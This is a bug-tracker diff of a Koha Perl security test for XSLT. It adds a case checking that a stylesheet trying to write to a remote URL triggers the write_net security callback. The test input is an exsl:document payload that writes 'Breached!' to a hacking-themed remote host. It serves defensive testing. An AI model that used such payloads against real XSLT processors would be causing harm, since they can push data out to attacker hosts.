View | Details | Raw Unified | Return to bug 23290
Collapse All | Expand All

(-)a/t/db_dependent/Koha/XSLT/Security.t (-2 / +17 lines)
Lines 19-25 Link Here
19
19
20
use Modern::Perl;
20
use Modern::Perl;
21
use File::Temp qw/tempfile/;
21
use File::Temp qw/tempfile/;
22
use Test::More tests => 6;
22
use Test::More tests => 7;
23
use Test::Warn;
23
use Test::Warn;
24
24
25
use Koha::XSLT::Base;
25
use Koha::XSLT::Base;
Lines 92-97 warning_like { $output= $engine->transform( "<ignored/>", $xslt_file ); } Link Here
92
    qr/read_net called in XML::LibXSLT/,
92
    qr/read_net called in XML::LibXSLT/,
93
    'Triggered security callback for read_net';
93
    'Triggered security callback for read_net';
94
94
95
# Trigger write_net
96
$xslt=<<"EOT";
97
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">
98
  <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
99
  <xsl:template match="/">
100
      <exsl:document href="http://hacking.koha-community.org/breached.txt" omit-xml-declaration="yes" method="html">
101
    <xsl:text>Breached!</xsl:text>
102
</exsl:document>
103
  </xsl:template>
104
</xsl:stylesheet>
105
EOT
106
$xslt_file = mytempfile($xslt);
107
warning_like { $output= $engine->transform( "<ignored/>", $xslt_file ); }
108
    qr/write_net called in XML::LibXSLT/,
109
    'Triggered security callback for write_net';
110
95
# Check remote import (include should be similar)
111
# Check remote import (include should be similar)
96
# Trusting koha-community.org DNS here ;)
112
# Trusting koha-community.org DNS here ;)
97
# This should not trigger read_net but fail on the missing import.
113
# This should not trigger read_net but fail on the missing import.
98
- 

Return to bug 23290